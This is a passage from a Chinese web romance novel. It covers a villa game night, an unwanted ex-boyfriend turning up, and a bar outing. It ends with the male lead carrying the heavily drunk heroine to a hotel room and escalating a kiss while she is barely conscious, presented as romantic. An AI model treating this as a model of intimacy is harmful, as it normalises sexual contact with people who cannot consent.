海风拂过她的鬓角,卷曲浓密的睫毛在月光下微微颤动。
“我们回去吧。”林深合上手机,屏幕的冷光映在他轮廓分明的侧脸上。
他扭头对着覃晚解释道:“刚刚周嘉煜发信息过来,说他们已经回别墅了。”
“好...”被海风吹的有些发懵的覃晚点了头,随后十分自然的攀上了某人的背。
夜风裹挟着凉意掠过耳际,“你冷不冷?”,覃晚凑近男人,小声问到。
秋天晚上的气温还是怪冻人的,他就穿着一件纯棉白T,唯一的外套还穿在自己身上。
被吹地发丝飞扬的男人神色如常,淡淡开口:“不冷。”
两人抵达别墅时,已经灯火通明。
门未锁,林深背着覃晚推门而入。
“晚晚姐,舅舅,你们回来了!”邱怡萱叼着片薯片,口齿含混。
原本干净整洁的茶几桌面此刻已经被各种零食占据,一群人窝在边上,不知道在捣弄些什么。
“快来!”邹静闻声抬头,兴致勃勃,“就等你们回来一起玩游戏了。”
“?什么游戏。”
覃晚单手撑着鞋柜,颤颤巍巍,略显别扭的脱下脚上的绑带凉鞋,一双白色防滑拖鞋适时出现在脚边
“桌游。三国杀,uno想玩啥都有。”李阳举起一个棋牌盒,晃了晃。
因为晚上吃了顿烧烤,覃晚感觉自己身上全是调料和烤肉味,熏得有些难受。
抬手指了指下午休息的房间,解释道:“你们先玩,我去洗个澡回来加入你们。”
“行。”众人应声。
说着便一蹦一跳朝房间走去,身后的林深对倚在沙发上邱倚萱使了个眼色。
她立刻明白,拍了拍手上的碎屑,踩上拖鞋三步并作两步跑上楼。
——
“咚咚咚,晚晚姐,我方便进来吗?”
覃晚正倒在房间内的沙发上,思考没有换洗衣物该怎么办。
因为腿受伤,行动不便,下午便答应林深提出在别墅留宿一晚的邀请。
她拍了下脑袋,十分懊恼,当时没有想到没带行李一事,此刻便犯了难。
听到敲门声,她从沙发上起身单脚蹦过去开门。
是邱怡萱,从推开的门缝探了个头进来。
“怎么啦?进来呀。”她将门拉开。
邱怡萱背着的手伸到前面,晃了晃手里的帆布袋子,笑道:“晚晚姐,你看我给你带什么啦!”
“?”
白色的涂鸦帆布袋鼓鼓囊囊,看不出装了些什么。
见覃晚一脸不解,她也不再卖关子,倚在门边将袋子递了过去。
是洗漱用品!覃晚翻了翻,底下还有一套睡衣和换洗衣物。
“太感谢了!球球,你也太贴心了吧!”,单脚站立的覃晚一时激动,整个身体向前仰去,扎进了邱怡萱怀里。
“哎哟哎哟”,邱怡萱被推的踉踉跄跄地退了几步,搂着覃晚的腰稳住两人。
柔软的触感和馨香一同涌进怀里,她的手不经意间撑着覃晚纤细有力的腰肢,触感细腻,肌肉线条流畅。
有些不舍的放开,邱怡萱暗忖道:自家舅舅何德何能啊!
但转念一想,肥水不流外人田,虽然她舅舅平时嘴毒又冷漠,但至少那张脸和覃晚姐还是很搭的。
于是她抬头凑近,在覃晚耳边:“舅舅下午吩咐低语我买的,晚晚姐你要谢就谢他吧。”
听到这话,覃晚呼吸一滞,垂着的指尖微蜷。
是他。
覃晚一时心绪复杂,不知从何说起。
“好了。”,邱怡萱双手握着覃晚的手臂,把她从怀里拉出。
看着她有些懵的表情,一脸得逞的笑道:“去洗澡吧,我们在客厅等你呦!”
覃晚攥了攥帆布袋的手提绳,乖乖转身回了房间。
——
等她洗漱完出来时,围坐在沙发上躁候许久的一群人目光全都注视过来。
她一眼便看到了坐在单人沙发上的那个人。
穿着套黑色的绸制家居服,半干的头发垂着额前,高挺的鼻梁上又架上了那副熟悉的黑框眼镜。
周身的气质柔和不少,像只乖乖等待主人顺毛的小狗。
“晚晚姐,愣着干嘛,快来玩啊,就差你了。”,李阳朝她招了招手。
愣怔片刻,她回过神来。
此时覃晚单脚跳已经相当熟练,很快便蹦到沙发边,在邱怡萱留下的空位坐下。
人齐后,坐在地毯上的邹静卷了张纸当做话筒。
“好,那我们就开始今天的游戏,我是今天的DM,小静。”
开局便是最经典的狼人杀游戏,祁绮是综艺策划,之前老被她拉着当游戏试玩。
因此她虽算不上什么高玩,但也还算了解。
第一轮,便被拿到狼人牌。
狼人队友是许敬轩,简单手势交流后,两人决定铤而走险自刀骗药。
这并不是一个十分高明的手法。
如果碰上高玩或者心狠手辣的女巫,仅有两人狼人阵营便极容易损失惨重。
可他们没料到,女巫是...林深。
睁眼时发现死的是覃晚,没有丝毫犹豫便给了解药。
在女巫“队友”的帮助下,覃晚悍跳预言家,两狼人互踩成功赢得了胜利。
一连几局,只要覃晚在的阵营,毫不意外都有个反水鬼杀死比赛。
众人哪里看不出林深明目张胆的偏心,只是碍于权威,无人敢惹。
覃晚自然也看得出,游戏就是有输有赢才有意思,总赢便显得无聊了,因此主动提出换个游戏。
从开局便连跪的李阳很爽快便响应。
偷偷瞥了一眼坐在沙发上翘着二郎腿满脸严肃的林深,只是若要改变现状,得选个无阵营游戏。
斟酌两秒,邱怡萱转了转眼珠,兴奋提出:“真心话大冒险...怎么样!”
“可以可以。”众人纷纷响应。
虽然很老套,但应该比这有些无聊的桌游要刺激些。覃晚加入,不过坐在沙发上
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的林深似乎兴致缺缺。
事实上他对桌游根本毫无兴趣,只不过见覃晚兴致高昂的样子,他也随之参与进来。
无人提出异议,游戏便顺理成章的开始。
从小便是非酋的覃晚。
毫无意外,第一轮便转到了自己。
把握不好这群人玩游戏的尺度。
此时他们一个个都如饿狼见到食物似的看着自己。
她紧了紧手里的靠枕,瑟缩退了半个身子,试探性的选择:“真心话?”
“行!”邱怡萱促狭的笑了声,瞥了眼看了覃晚一晚上的自家舅舅,咳了声问到:“晚晚姐,你谈过几个男朋友?”
"一个。"她声音突然冷了下来,指尖无意识地掐进抱枕。
虽然大致也能猜到问题是关于这个方向,但想到周毅那个渣男还是觉得恶心。
霎时间,场上气氛有些凝固。
听到她说一个时,林深眼底闪过一丝不易察觉的落寞,垂眸低下了头。
倒不是因为她谈过恋爱。
只是她提起那人时,脸色忽变,可见那人在她心里依旧能够掀起波澜。
听到她的回答,邱怡萱不死心继续追问到:“分手了吗?”
“分了。”,简短两字。
覃晚不愿再提起此人,面色恢复如初,笑道:“好了好了,都两个问题了,下了一轮,下一轮。”
接连几轮,都再没轮到她,覃晚有些心不在焉。
倒不是因为对周毅还有感情,只是想到自己只是短暂的逃避,假期结束还要回去解决他,便头疼的要命。
一直用余光默默关注她的林深自然发现了她的走神,但他不知道发生了什么,以为覃晚还念着她口中那个男朋友,不觉醋劲大发。
“林深哥!”转动的酒瓶对准了他,一群人盯着他等着做出选择。
没有什么兴致的林深冷冷抛下三个字:“真心话。”
“真心话?”,刚刚被整蛊好几次的李阳此刻已经玩上头,丝毫没有察觉到林深情绪的变化,只想着挖掘出什么惊人八卦。
手指在下巴上摩挲几秒后,灵机一动问出:“你有没有什么念念不忘的人?”
关于林深的感情问题,除周嘉煜外,其余人都是一无所知。
众人屏息凝神的看着林深,期待爆出什么惊天秘密。
除了邱怡萱。
就她那从小便像是被灭了情根似的舅舅,还念念不忘?这么好的机会还不如她来问,还能撮合撮合他和晚晚姐。
“有。”林深目光坚定,看着覃晚,又像是透过她看着别人。
一句话震惊了除得知内情的周嘉煜外的所有人。
听到这话的邱怡萱更是猛的抬头,双目圆瞪的看着面前的林深。满脸不可思议。
覃晚更是不知所措,内心早已翻江倒海。
不是,为什么他说这话的时候要看向自己啊。自己印象里没和他有过交集啊?
难道是什么雷人狗血的替身文学?不会吧!
不过,如果是这样的话,这两天来,他莫名其妙的那些眼神,沉默似乎都有了理由。
覃晚扭过头,有些不知所措,慌乱地低头整理整齐的睡衣下摆。
17. 不速之客
“不是,舅舅。”
邱怡萱不敢相信的捂住脑袋,追问道:“你什么时候突然冒着个念念不忘的人了。”
懒散倚在沙发上的周嘉煜看着两人笑而不语,拍了下膝盖站起身,摸了摸正发懵的邱怡萱的头:“行啦,大人的事小孩就别管了。”
他看了一圈,一群人都是目瞪口呆的状态,摆摆手,“时候也不早了,我看今天就玩到这吧。”
说完背着手懒洋洋的上了楼。
思绪混乱的覃晚看着那道灼灼的目光,也踩上拖鞋,落荒而逃。
她走后,林深也跟着回了房间。
徒留一群吃瓜的大学生围在沙发边面面相觑,相顾无言。
许敬轩里头为数不多理智残存的,拍了拍女友的肩膀,柔声道:“走吧,我们也上去休息吧。”
几个人从八卦中醒过神来,纷纷起身回房,除了邱怡萱还怔在原地。
“走啦,球球。”
张怀恩费劲地将沙发上呆若木鸡的邱怡萱拉起,推着她上楼,轻声劝慰:“上去休息吧,时间不早了,明天还出去玩呢。”
——
翌日十点,覃晚才悠悠转醒。
因为昨晚林深的一个“有”字,她一整晚都陷在替身文学的狗血梦境里,醒来时头疼欲裂。
满脸倦意的覃晚抓了抓睡的一团糟的长发,无欲无求的喃喃道:“看来是时候把番茄小说卸载了。。。”
简单洗漱完后,她推开房门。
只见林深和周嘉煜两人在坐在餐桌旁端着杯手冲咖啡不知道在聊些什么。
不过,与其说在聊天,不如说是周嘉煜一个人在说,喋喋不休的讲个不停,林深偶尔应和。
因为正对着覃晚房间门口,周嘉煜率先发现起床的她。
扬起手,笑的爽朗:“早上好啊!”。
林深闻声回头,猝不及防,两人视线交合。
周嘉煜举起手边的咖啡,问到:“要来一杯吗?我冲咖啡的手艺可谓一绝。”
“不了不了。”她摆摆手拒绝,躲开那人的视线。
慌乱中随便编了个借口:“我..我手机忘拿了,回去拿一下。”
说完便一瘸一拐的扭头进了房间,砰的一声关上房门。
看着那手机明晃晃被她握在手里,又落荒而逃的样子,周嘉煜被逗得大笑,调侃道:“不是。她这反应到底知不知道你说的人是她啊。”
“不知道。”
冷着脸的林深抛下这句话后,撇下喝了一半的咖啡,抬脚回了房间。
“不知道...不知道...”,周嘉煜抿着咖啡,在口中反复轻念,“什么意思啊!”
他看着林深离开的背影抬声问到:“她不知道还是你不知道啊!”
回应他的只有关门的“咔哒”声。
——
躲进房间的覃晚看着握在手上的手机,拍头懊恼,自己的编的借口多么拙劣。
但此刻她真不知如何面对林深,脑子一团乱糟。
一直到人齐,准备坐船离岛,覃晚都没再踏出房门半步。
轮渡上。
覃晚一上船,便挽着邱怡萱的胳膊,寸步不离和几个女孩待在一起,避免和林深产生接触。
她已经想好了,等一下船,她就借口脚不舒服,回酒店休息,趁机脱离队伍。
下船后,一行人商量着去打车回住处放置好行李再去下一个景点。
正巧遂了覃晚的心愿,她指尖微蜷,在脑海里回顾了一遍刚刚预演的画面。
一本正经,强壮镇定的说到:“既然如此,那我也回酒店了,我腿脚不方便,后面就不和你们一起去玩了。”
听到她的话,众人一脸遗憾但依旧表示理解。
站在一边的,勾着件外套的周嘉煜状似随意的问了一嘴:“你酒店订在哪里啊?”
眼看心愿已了,覃晚也放松的警惕,没多想便脱口而出:“就住在汉江路那个XX酒店。”
“诶。”,听到熟悉的位置,李阳拍了拍身旁的许敬轩,问到:“我们的酒店好像也在汉江路是不是啊。”
许敬轩点了点头,继而道:“如果没记错的话,XX酒店就在我们马路对面。”
不会吧,天底下哪有这么巧的巧合啊!覃晚愣在原地如遭雷劈。
周嘉煜满眼欣赏的看了李阳和许敬轩一眼,趁热打铁。
“这不,缘分来了,挡都挡不住。既然这么巧,就一起过去呗。刚好八个人,打两辆车。”
“是啊。”,她强挤出一丝笑意,眼下拒绝显然不合时宜,不过只是一起乘车过去。
大不了一直到离开厦城都不离开酒店,这样总不会再遇上了吧,她自我安慰到。
——
一路上,夹在覃晚和林深中间的邱怡萱从没觉得哪一段车程有这段难熬。
周嘉煜坐在前排和司机聊得火热,独留她一个人夹在两人中间,水深火热。
昨晚别墅没睡好的,除了两位当事人,另一个就是她了。
自己才磕了一天不到的cp就莫名其妙被一个半路杀出的程咬金扼杀在摇篮,现在搅得她进退两难。
好不容易挨到目的地,从上车就开始绷着的覃晚此刻也松了一口气。
司机在酒店门口停下,她摆了摆手,语气轻快:“我走啦!有缘再见。”。
刻意避开那道视线,捏了捏邱怡萱的脸,不舍道:“球球,舍不得你,微信联系。”
“嗯嗯,微信联系!晚晚姐你脚好点了就来...”
她顿了几秒,本想邀请她后面继续一起游玩,但今天一早,任谁都能看出她有意无意在躲着自家舅舅,想来也是昨天那话闹的。
叹了口气,她话音一转,笑着说:“等有空,我去南城找你玩。”
“好嘞好嘞,等你哦!”,说完便拉开车门进了酒店。
一直到人影从视线内消失,林深的目光都还一直望向窗外。
“舅舅,你到底什么意思啊?”,覃晚一走,邱怡萱也直接挑明了。
他这番操作在邱怡萱眼里属实是有点迷惑了,一边忘不了别人一边又对着覃晚姐含情脉脉。
“师傅,开车。”林深收回视线,冷冷道。
他也有些懊恼,昨天因为她那个前男友,一时头脑发热,结果忘了人家根本不记得自己。
而且一
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直躲着他,压根没有办法解释。
但就算解释,他也不知从何说起,那些自以为是的回忆仿若是自作多情,覃晚或许并不在意。说出来反而对她是一种负担。
——
回到酒店的覃晚本想给祁绮打个电话,讲讲昨日的drama事件。
号码刚拨出去,她转念一想,前几天刚被提醒别上头结果她屡教不改,现如今被打脸,要告诉祁绮了铁定领骂。
于是她果断挂断了那通还未接起的电话。
四仰八叉地躺在酒店大床上,骤然从热闹里脱离,她忽然感受到一种近似于孤寡老人的寂寞感。
百无聊赖时,脑子灵光一闪,想起昨天都忘记看她家深林大大的最近更新。
一个鲤鱼打挺便从床上翻起,盘着腿坐在床上,专注的看了起来。
12000两章,她舍不得囫囵吞枣一口气看完,逐字逐句的细品,花了半小时才结束。
前几章恰好写到男女主联手办案,正巧探查到案件关键便戛然而止,吊足了读者胃口。
当时一众读者在评论区留下猜测,她看了不少,有些读者的脑洞十分大,续写的剧情非常精彩。
可要不说深林大大笔力过人,纵然有珠玉在前,可剧情依旧高潮迭起,出乎读者意料,看的她那叫一个酣畅淋漓,意犹未尽。
正准备滑开评论区留评的时候,却看到最顶上一条有几百条回复的热评。
楼主先是分析了一波男女主的感情线。
后面因为一个刚失恋的读者在底下分享了自己恋爱到分手的全过程,楼便越盖越歪。
正巧昨天的事情无处可说,覃晚披着读者马甲,想着反正也没人认识自己。
在键盘上敲敲打打,把自己和林深的故事一股脑的全发了上去。
刚发上去没多久,便收到一大堆前来吃瓜的读者回复。
【啊啊啊啊,一股浓浓的替身文学味扑面而来】
【+1,狗血言情小说剧情照进现实了】
【我天呢?虽然但是,kswl】
【我是土狗,我爱看,蹲后续。吃瓜.jpg】
......
覃晚翻了个身,在床上趴着看读者评论和回复。
正看的津津有味时,一个电话进来打断。
看号码应该是她的外卖。
上午为了躲林深,连早饭也没吃,在车上便饿的饥肠辘辘了。
刚下车就点了个外卖,没想到这么晚才送到。
刚接通,对面的声音有些急,有些语无伦次的解释,他因为太着急逆行,结果不小心蹭到了人家的车。
车主此时还在马路边等他过去解决,所以希望覃晚自己下来取一下外卖。
“行行行。你放楼下就好,我自己下来拿。”
挂完电话后,她从床上爬下来,拖着还没好透的脚,一瘸一拐的搭电梯下去取外卖。
这外卖小哥虽然不遵守交通规则,但也是个能人。
本以为出现事故,外卖应该被折腾的不成人样,谁知竟完好无损。
美滋滋的拿到外卖的覃晚正准备上楼享用时,谁知,竟遇到个不速之客!
18. 酒吧
“小晚,终于找到你了!”,周毅穿的人模人样,满脸惊喜的冲上来拽住覃晚的手。
见到这人,覃晚脸瞬间冷下来,一把甩开他的手,拔腿就走。
“诶诶,小晚,小晚,你等等我啊?”
覃晚扭伤未好,尽管有意加快步伐甩掉他,但心有余而力不足。
周毅拖着个行李箱,快步走了两下便追了上来,跟在覃晚背后喋喋不休。
“晚晚,我们和好吧。是我错了,我和你道歉。”,周毅哀求道。
真是晦气,没想到躲来厦城还能遇上他。昨天不该去海边的,应该去妈祖庙里拜拜。
本不打算理他,奈何此人跟恶鬼似的一直紧跟不放,一路上引来不少人注视。
覃晚没回房间,故意走到一个人少的角落。
见她停下,周毅以为对方回心转意,满脸喜色,想要去拉覃晚的手。
“晚晚,你原谅我了是不是。”
“别碰我。”,覃晚躲开那两只咸猪手,光是看到他,就已经恶心的反胃了。
看着他嬉皮笑脸的得意样,忍不住翻了白眼。
“周毅,需要我再跟你重申一遍吗?我们分手了,脑子不好就撞墙,听听里面装了多少水,别来烦我。”
撂下这句话后头也不回的便走了。
周毅被怼的怔了两秒后,狠狠的掐了一把大腿,强挤出眼泪扭头去追。
“晚晚,晚晚,我真的知道错了。我再也不敢了。”
覃晚转过身,伸出手挡住他,“停!”
冷下脸,嘴绷成一条直线,指着他严肃道:“再追我就报警。”
听到这句威慑,他终于不再跟着。
看着覃晚离开的背影,迅速变脸,满是不屑的抹了把眼角强挤出的泪。
——
一路上提防着那人的跟踪,直到进了房间才终于放松下来。
看到周毅这个渣男,覃晚的食欲也随着好心情一并败去。
关上门后,她有些无力地将外卖随手丢在门口的玄关上,汲着拖鞋一瘸一拐的蹦上了床。
"倒霉啊!”,她仰头望着白花花的天花板,长叹一声。
一个人四仰八叉的躺在床上,大脑放空,思索着解决方案。
良久,依旧是一片空白。
她的感情经历屈指可数,周毅是她交往的第一个男友。
当初她刚考上导师的博,周毅和她一同进入师门,每天对她嘘寒问暖,体贴备至。
虽然如此,她依旧没有动心,直到一次她和周毅一同受邀参加一个cos舞会。
那天他为了还原角色,特地戴了一对蓝色美瞳,结果舞会到一半不知怎的掉了一只。
看到那双眼睛,忽然心头一怔。
不过说起来,他当时的掉了一只美瞳的样子倒和林深有点像。
但显而易见的是,林深那双妈生异瞳更美,深邃又神秘,勾人心魄。
“哎呀,怎么又想到他了!”,覃晚有些烦躁,举起两只手抓了抓头发。
一时半会想不到治周毅的办法。
算了,事已至此,先吃饭吧。
覃晚从床上坐起,行尸走肉般走到玄关把外卖提到桌上。
翻手机寻找下饭剧时,看到邱怡萱的刚发的朋友圈,他们今天去了庙里祈福,自拍照里的角落一隅,林深侧脸出镜。
尽管只有半张脸,依旧帅的惊为天人。
“唉,可惜是个渣男……”,语气惋惜,覃晚愤愤地往嘴里塞一大块牛肉。
——
周围都是豺狼虎豹,覃晚只好在酒店休息。
昨晚没有睡好,她翻出两篇英文文献,看了没两段就睡着了。
一觉醒来,天色已晚,霓虹初上。
她揉了揉惺忪的睡眼,心情无比舒畅,果然没有什么是睡一觉解决不了的。
如果有的话,那就找个帅哥睡一觉。
许久没有睡的这么舒服了,平时当牛马,每天早出晚归,得不出数据边熬夜边焦虑,头发掉的速度快赶上她家覃教授了。
一直待在酒店也有些闷,覃晚醒了醒神,捞过枕边的手机查了查邮箱,没有工作消息。
有几条微信提醒,她点开一看,是邱怡萱几分钟前发来的消息。
邱怡萱【晚晚姐,我明天要回学校了。今晚出来玩不?】
后面跟着个酒吧的地址,离她三公里也不远,前段时间她约祁绮一起去,结果那人策划案没写完遗憾婉拒。
邱怡萱【我舅舅不在。可爱.jpg】
如果说前面还在犹豫,看到这条消息时,覃晚再也坐不住了。
果断回了个“好”。
——
晚上十点,deadline酒吧。
虽然脚扭了没法蹦迪,但想到来这个地方,覃晚特地化了烟熏妆,搭了套牛仔抹胸和短款A字皮裙,勾勒出窈窕的身姿。
里面灯光昏暗,远处舞池一群衣着清凉的男男女女在闪烁的灯光下,随着躁动的音乐摇摆,眼神迷离。
诡谲的灯光,视线不清,正当她环顾一圈还没找到邱怡萱时,手机传来了一条消息。
邱怡萱【晚晚姐,抬头。A2卡座】
她合上手机,抬头看见在离舞台不远处的一个卡座上,邱怡萱站起来朝她挥手。
穿过人流,她撑着卡座边的栏杆一路缓步走过去。
“这里这里!”,邱怡萱穿着件清凉的黑色小短裙,有些兴奋,从卡座上站起过来迎接她。
腾开位置让覃晚坐下。
卡座上只有三个女孩,看样子像是背着其他人偷偷来的,她一一打招呼。
自打覃晚坐下后,邱怡萱便一直目不转睛地盯着她看,花痴道:“晚晚姐,你这也太好看吧”
“哈哈哈,是吗?”
她勾唇一笑,从容的撩了下耳畔的碎发,露出精致的长耳坠,朝邱怡萱眨了眨眼。
扑闪扑闪的睫毛和小猫眼线在昏黄的灯光下显得更加魅惑。
坐在对面的邹静戴着一顶冷帽,穿着件黑色皮衣,干净利落的短发配上她本就英气的长相,更显酷飒。
她端起面前的鸡尾酒抿了一口,薄唇微勾:“是啊,气质完全大变。刚刚要不是怀恩眼尖,我们都认不出。”
说完用肩膀顶了顶一旁的张怀恩。
和他们略显夸张的妆容比起来,张怀恩就显得腼腆许多了,乖乖地坐在一边,面前放着杯橙汁。
虽然许久没喝,有些心痒。但今天一个人过来,还拖着帮小朋友,覃晚不敢放肆。
随手点了杯酒精含量不高的莫吉托,坐在卡座上慢慢饮。
没聊几句,邱怡萱和邹静就坐不住了,看着那人群攒动的舞池望眼欲穿。
大抵是担心把覃晚和张怀恩撂在这有些不好,虽然蠢蠢欲动但一直没有开口。
早便看出她们那点小心思的覃晚大手一挥,喝了口酒后拍了拍邱怡萱的脑袋,笑着说:“想去就去吧,注意咸猪手。”
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“真的吗?”
覃晚弯着唇点了点头。
早就按耐不住的两人一对视,拉着手便往舞池里跑。
虽然这酒吧位置偏仄,藏在条小巷子里,但调酒师手艺不错。
一杯很快便见了底,脑子还清醒着,于是她没忍住又点了杯玛格丽特尝尝。
张怀恩虽然腼腆,但遭不住覃晚是个E人,主动搭话聊了几句后,发现两人还蛮多共同话题的。
两人坐在卡座上一人喝着橙汁,一人喝酒,有一搭没一搭的聊天。
如果没有看到那个渣男的话,今晚将会是神奇又美妙的一夜。
酒喝至微醺状态,覃晚眼神有些迷离,靠在张怀恩的肩膀上弯唇浅笑。
透过昏暗的视线,她看见一个熟悉的身影走进了酒吧。
上午还缠着自己求复合结果晚上就和另一个男的勾勾搭搭搂着进了酒吧。
见到这一幕的覃晚嗤笑一声,好不容易恢复的好心情败了一半。
并非是旧情难忘,只是懊恼当初自己怎么如此眼瞎,一个Gay在自己面前演了那么久戏居然都没发现。
“你还好吗?晚晚姐。”,见覃晚许久没有搭话,气压便低,张怀恩有些奇怪,偏头看了一眼。
只见原本舒展的笑颜忽然变了,看着酒吧门口的方向,微蹙着眉,唇角蓦然绽出一丝冷笑。
咬着牙,轻哼一声说:“没事,见到下头男的。”,说完举起酒杯猛灌了一口,一整杯玛格丽特直接见底。
吓的张怀恩赶紧拉住她的手,把酒杯从她手心里取走。
“晚晚姐,你喝的有点太猛了吧。”,张怀恩扶着喝的有些醉的覃晚,眉头紧皱,眼中满是担忧。
“咳咳,我...我没事。”,她一只手撑在卡座上,一只手勾着张怀恩的肩膀缓了缓。
骤然喝的这么猛,覃晚看着头顶闪烁的灯光,双目迷离,从喉咙到胃部火辣辣的一片,眩晕感直冲天灵盖。
靠在卡座上缓了半分钟,覃晚咧着嘴,有些含糊的笑道:“这酒有点东西。”
看她这副模样,大概率是喝醉了。
张怀恩是第一次来酒吧,看着醉的有些不省人事的覃晚有些无措,也不敢贸然离开,怕一不小心覃晚就被什么坏人捡走了。
没过多久,邹静回来了,怀里还搂着醉成一滩烂泥的邱怡萱。
“这时怎么回事啊?”,张怀恩瞪大了双眼,指着邹静怀里还在胡言乱语的邱怡萱,大惊失色。
邹静搂着乱动的邱怡萱在卡座上坐下,摇了摇头无奈解释:“我就离开一会儿去上了个厕所,这家伙不知道被谁激了,开始和人家拼起酒来了,等我回来的时候,人已经这样了。”
喝的意识不清的邱怡萱突然站起,大喊一声:“再来!”,把张怀恩肩膀上的覃晚吓的一哆嗦。
邹静有些无奈,把邱怡萱拉住,抬了抬下巴问:“晚晚姐又是怎么回事。”
“我也不知道。”,张怀恩苦恼的摇了摇头,继续道:“就说看到什么下头男,然后就直接干了一杯酒,就变成这样了。”
“那现在怎么办,我们两个能搞定吗?”,张怀恩看着两个醉鬼,有些苦恼。
邹静皱着眉看了眼还在乱动不太听话的邱怡萱,有些难搞。
另一边的覃晚酒品倒是很好,乖乖的靠在张怀恩肩膀上也不闹,只不过就怀恩一米五五的小个子,那里挪得动一米七的覃晚。
她摊了摊手,叹了口气,无奈道:“看来得找外援。”
19. 不要走,陪我
林深几个人进来时,看到的就是这番景象。
邱怡萱脱了鞋站在真皮沙发上乱舞,坐在一旁的邹静憔悴得像老父亲似的,一只手扶额,不忍直视,另一只手还要护着防止她跳下来。
覃晚换了身打扮,一双白嫩修长的手臂搂着张怀恩的脖子,像只小猫的,趴在她的肩膀乖乖睡觉。
穿着件黑色V领衬衣的周嘉煜表情无奈,走上前去,一把控住她乱动的双手,将她从卡座上抱了下来。
林深穿了件白色T恤,头发还未干,像是刚洗完澡似的。
看着偷偷溜来酒吧的几个人,脸色有些难看。
嘴唇绷得紧紧的,抬脚过去把趴在张怀恩的覃晚一个公主抱搂了过来。
虽然冷着脸,但他的动作依旧轻柔,勾住她盈盈一握的细腰,仿若珍宝似的抱在怀里。
许是对他的怀抱很熟悉,一闻到那抹熟悉的清雅白玉兰香味,覃晚便自然的靠了过去。
双手搂住男人的脖子,像只小狗似的凑近嗅了嗅。
伸出手有些不老实的摸了摸男人,口中呓语:“你好香啊。”
“好了,乖一点。”,纵是再生气的林深也禁不住她这样撒娇,睫毛轻颤,喉结滚动了两下。
虽然还刻意绷着副表情,但在昏暗的灯光下,无人看见的角落,耳朵已经通红。
“诶诶诶,小祖宗,你别动,要摔了。”,喝醉酒的邱怡萱力大如牛,在周嘉煜怀里扭来扭去。
林深抱着覃晚黑着脸看向还嚷着要喝的邱怡萱,头疼不已,要是被他姐知道了,两个人都别想好过,得念到明年中秋。
他勾着覃晚的膝窝把覃晚向上掂了掂,低下头对埋在胸前的覃晚温柔道:“搂紧了。”
喝醉了的覃晚特别乖,和白天对他避之不及的样子判若两人,双手紧紧地箍住他那红的发烫的脖子,生怕被抛下。
林深紧抿着的薄唇不经意间勾起,一整天的烦闷在此刻被她不经意间的动作哄好。
他单手抱着怀里的人,另一只手腾出去接过张怀恩手里那只Loewe的豹纹马毛编织流苏邮差腋下包,挂在脖子上。
“阿煜,你先带他们回去,我送她。”
林深言简意赅的吩咐道,面色又恢复了原先冷淡的样子,说完便大胯步离开了酒吧。
邱怡萱或许是玩累了,此时也乖乖地趴在周嘉煜的怀里,他无奈苦笑,玩味不羁说了声:“走吧,妹妹们。”
张怀恩背起包,乖乖跟上。
邹静故意放慢脚步,拉着徐敬轩落在后面,小声责问:“不是打电话叫说就你和李阳过来,别告诉林深哥他们吗?”
徐敬轩有些心虚地推了推鼻梁上那副金丝眼镜,低过头轻声说:“你打电话的时候李阳睡着了,嘉煜哥刚好来找我商量订车票的事。”
听到这个解释,她也不好说些什么,只能说天意如此。
心里不禁替球球捏了把汗,就刚刚林深那副黑面罗刹的样子,感觉她明天醒来有好果子吃了。
——
深夜的酒店大厅依旧灯火通明,除了零星几个值夜班的工作人人员外,再无旁人。
林深抱着覃晚缓步走进这家上午刚来过一次的酒店,在前台停下。
“覃晚,你住几楼?”,林深垂眸看向怀里的女孩,眼睫微微颤抖,口中不知在嘟囔着什么。
见她已经睡的无意识,林深也不强求,将怀里的人轻轻向上掂了掂,抽出手从她包里取出身份证递给前台。
“你好,麻烦帮我开一间大床房。”,礼貌的声线中又带着几分疏离的清冷感。
原本值夜班的前台小姐姐困的迷迷瞪瞪,此刻见到这俊男靓女,瞬间便清醒过来。
双手接过身份证,笑意盈盈的说到:“先生,您的身份证也需要出示一下哦。”
刚刚走的着急,刚洗完澡随便套了衣服便出门了,那里记得带身份证。
他拧了下眉,问到:“电子身份证行吗?”
“可以的先生。”,小姐姐迅速应答。
在前台没折腾多久,林深便抱着覃晚上楼去了。
刷卡进门后,林深把怀里的人放在玄关上,温柔地替她脱下脚上那双唯一突兀的绑带平底凉鞋。
他无声轻笑了,大半夜一个人去喝酒,但又知道保护自己受伤的脚。不知道说她是乖还是不乖。
林深握住覃晚那双白净的手,手背微凉,肌肤细腻,指甲修剪的整整齐齐不着分毫修饰,生的圆润可爱。
仰着头抬眸看着迷迷糊糊的覃晚说:“乖乖坐在这好不好,我去给你拿卸妆水。”
“不要。”,垂着的手突然抓紧,回握住林深,摇了摇头说:“不要走,陪我。”
太可爱了,林深哪里舍得拒绝她,笑着摩挲她那双比自己小一圈的手,温柔安抚。
嗓音低沉,带着温和的笑意:“好,我不走。”
本想去打个床头的座机打个客服电话,谁知到喝醉了的覃晚这么粘人。
死死攥住他的手不放开,林深无奈,只好抱着她走到床前。
酒吧乱七八糟,还有许多吞云吐雾的人,难免身上沾染,他断然是不可能把她放到床上的。
一路抱着覃晚,他单手拨通了客房服务的电话,言简意赅的交待完后便搂着她走向床边的沙发。
他弯下腰,小心翼翼地将人放下。
忽然,那双交叠在他脖子上的手臂骤然使力,两人距离瞬间拉进,他甚至能闻见对方唇角残留的酒香。
覃晚扑闪扑闪的睫毛颤抖,像展翼的蝴蝶,视线暧昧不清。
骤然拉进的距离,林深心跳漏了一片,喉结上下翻滚,屏住了呼吸。
那双本就水汪汪杏眸此刻蒙上了一层水光,动人心魄的望向自己。
情不自禁,他忍不住探手过去,却又在贴近时忽然停滞在半空,不敢再进一步。
“抱抱。”,覃晚闭着眼,脸缓缓凑前,像求摸的小猫在睡前主动贴上那只宽阔的手掌,蹭了蹭。
林深顿时心跳如擂,那双克制的手微微颤动,小心翼翼地抚摸着女孩的脸颊,从眉骨到眼角。
條的,她猝不及防吻了上来,一如那个雨夜。
林
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深怔在原地,周遭的声音全都消失,此刻,他只能感受到唇瓣的柔软,发丝间淡淡的洋甘菊的香气。
对方没有回应,贴在嘴边的香气几秒后退开。
反应过来的林深眼神一黯,猛的将扣入怀里,骨节分明的抚住她的脸,吻如疾风暴雨般席卷而来。
覃晚顺势勾住他那修长的脖颈,主动贴近。
半分钟后,他似是不满于这样的浅尝辄止,嗓音低哑:“乖,张嘴。”
醉酒后的覃晚十分听话,唇瓣微张。
林深顺势探入,巧秒的开启她的齿关。
她主动的小心试探鼓舞了林深,唇舌相触,一丝电流穿透全身。
他进一步深入,以不容抗拒的力量侵略口齿间的每一处,残留的酒香和唇齿的甜美也一并沾染。
